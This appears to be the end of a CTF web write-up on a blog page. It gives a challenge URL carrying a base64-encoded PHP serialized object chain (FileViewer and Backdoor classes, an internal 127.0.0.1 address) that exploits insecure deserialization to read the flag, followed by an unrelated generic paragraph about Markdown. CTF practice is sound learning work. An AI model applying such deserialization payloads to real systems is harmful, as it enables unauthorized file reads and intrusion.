http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=

得到flag

image-20230830013157373

base64解码后得到flag

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Markdown 是一种轻量级的标记语言,用于在纯文本中写作和排版。在 CTF Web 中,掌握 Markdown 的知识点非常重要。 首先,了解 Markdown 的语法是必不可少的。Markdown 有很多简洁和易于记忆的语法,比如使用井号表示标题,使用星号或下划线进行强调,使用反引号表示代码块等等。掌握这些语法可以帮助我们在 CTF 比赛中编写漂亮且易于阅读的文档。 其次,了解 Markdown 的转义字符和特殊字符是必要的。在 Markdown 中,有一些特殊字符需要用转义字符来表示,比如使用反斜杠来转义星号、下划线等特殊字符。了解这些细节可以避免在编写文档时出现错误或混淆。 此外,掌握 Markdown 的扩展语法也是很有帮助的。尽管标准的 Markdown 语法已经很强大,但一些扩展语法可以提供更多的功能,比如插入图片、创建表格、使用脚注等等。了解这些扩展语法可以让我们在编写文档时更加灵活和高效。 最后,了解应用 Markdown 的工具和平台也是重要的。在 CTF Web 中,我们经常需要使用 Markdown 来编写 Writeup 或记录漏洞分析过程。了解如何使用 Markdown 的编辑器、插件或在线平台可以更快地编写文档并且更好地展示我们的成果。 综上所述,掌握 Markdown 的知识点对于 CTF Web 是非常重要的。它不仅可以帮助我们编写美观而易读的文档,还可以提高我们在比赛中的效率和表达能力。因此,我建议在学习 CTF Web 的过程中,加强对 Markdown 的理解和应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值